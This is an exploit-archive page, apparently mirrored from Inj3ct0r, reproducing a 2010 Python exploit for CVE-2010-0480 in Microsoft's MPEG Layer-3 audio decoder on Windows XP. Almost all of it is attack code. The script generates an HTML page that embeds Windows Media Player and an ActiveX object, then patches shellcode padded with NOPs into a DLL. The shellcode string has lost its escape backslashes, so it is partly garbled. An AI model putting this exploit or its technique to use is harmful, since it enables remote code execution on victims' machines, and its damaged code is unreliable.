Home / os / win7

Microsoft MPEG Layer-3 Remote Command Execution Exploit

Posted on 05 September 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Microsoft MPEG Layer-3 Remote Command Execution Exploit</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=======================================================
Microsoft MPEG Layer-3 Remote Command Execution Exploit
=======================================================

Title               :  Microsoft MPEG Layer-3 Audio Decoder Division By Zero
  Version             :  l3codeca.acm (XP SP2 / XP SP3)
  Analysis            :  http://www.abysssec.com
  Vendor              :  http://www.microsoft.com
  Impact              :  Ciritical
  Contact             :  shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter             :  @abysssec
  CVE                 :  CVE-2010-0480
 
'''
 
import sys
import struct
def main():
    
    try:
        strHTML = '''
        &lt;html&gt;
        &lt;head&gt;
        &lt;/head&gt;
        &lt;body&gt;
        &lt;object classID=&quot;exploit.dll#exploit.Shellcode&quot;&gt;&lt;/object&gt;
        &lt;OBJECT ID=&quot;MediaPlayer&quot; CLASSID=&quot;CLSID:22d6f312-b0f6-11d0-94ab-0080c74c7e95&quot; CODEBASE=&quot;http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab# Version=5,1,52,701&quot; STANDBY=&quot;Loading Microsoft Windows Media Player components...&quot; TYPE=&quot;application/x-oleobject&quot; width=&quot;280&quot; height=&quot;46&quot;&gt;
        &lt;param name=&quot;fileName&quot; value=&quot;test.avi&quot;&gt;
        &lt;param name=&quot;animationatStart&quot; value=&quot;true&quot;&gt;
        &lt;param name=&quot;transparentatStart&quot; value=&quot;true&quot;&gt;
        &lt;param name=&quot;autoStart&quot; value=&quot;true&quot;&gt;
        &lt;param name=&quot;showControls&quot; value=&quot;true&quot;&gt;
        &lt;param name=&quot;Volume&quot; value=&quot;-300&quot;&gt;
        &lt;embed type=&quot;application/x-mplayer2&quot; pluginspage=&quot;http://www.microsoft.com/Windows/MediaPlayer/&quot; src=&quot;test.avi&quot; name=&quot;MediaPlayer&quot; width=280 height=46  autostart=1 showcontrols=1 volume=-300&gt;
        &lt;/embed&gt;
        &lt;/OBJECT&gt;
        &lt;/body&gt;
        &lt;/html&gt; '''
        fHTML = open('index.html', 'w')
        fHTML.write(strHTML)
        fHTML.close()
        fdR = open('exploit.dll', 'rb+')
        strTotal = fdR.read()
        str1 = strTotal[:1380]
        str2 = strTotal[2115:]
        shellcode = 'xEBx6Bx5Ax31xC9x6Ax10x52x42x52x51xFFxD0x53x68x7ExD8xE2x73xFFxD6x6Ax00xFFxD0xFFxD7x50x68xA8xA2x4DxBCxFFxD6xE8xDAxFFxFFxFFx00x54x68x65x20x65x78x70x6Cx6Fx69x74x20x77x61x73x20x73x75x63x63x65x73x73x66x75x6Cx21x00x5Ex6Ax30x59x64x8Bx19x8Bx5Bx0Cx8Bx5Bx1Cx8Bx1Bx8Bx5Bx08x53x68x8Ex4Ex0ExECxFFxD6x89xC7xE8xB3xFFxFFxFFx55x53x45x52x33x32x00xE8xD3xFFxFFxFFx53x55x56x57x8Bx6Cx24x18x8Bx45x3Cx8Bx54x05x78x01xEAx8Bx4Ax18x8Bx5Ax20x01xEBxE3x32x49x8Bx34x8Bx01xEEx31xFFxFCx31xC0xACx38xE0x74x07xC1xCFx0Dx01xC7xEBxF2x3Bx7Cx24x14x75xE1x8Bx5Ax24x01xEBx66x8Bx0Cx4Bx8Bx5Ax1Cx01xEBx8Bx04x8Bx01xE8xEBx02x31xC0x5Fx5Ex5Dx5BxC2x08x00'
         
        if len(shellcode) &gt; 735:
            print &quot;[*] Error : Shellcode length is long&quot;
            return
        if len(shellcode) &lt;= 735:
            dif = 735 - len(shellcode)
            while dif &gt; 0 :
                shellcode += 'x90'
                dif = dif - 1
        fdW= open('exploit.dll', 'wb+')
        fdW.write(str1)
        fdW.write(shellcode)
        fdW.write(str2)
        fdW.close()
        fdR.close()
        print '[-] Html file generated'
    except IOError:
        print '[*] Error : An IO error has occurred'
        print '[-] Exiting ...'
        sys.exit(-1)
                 
if __name__ == '__main__':
    main()


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-05]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :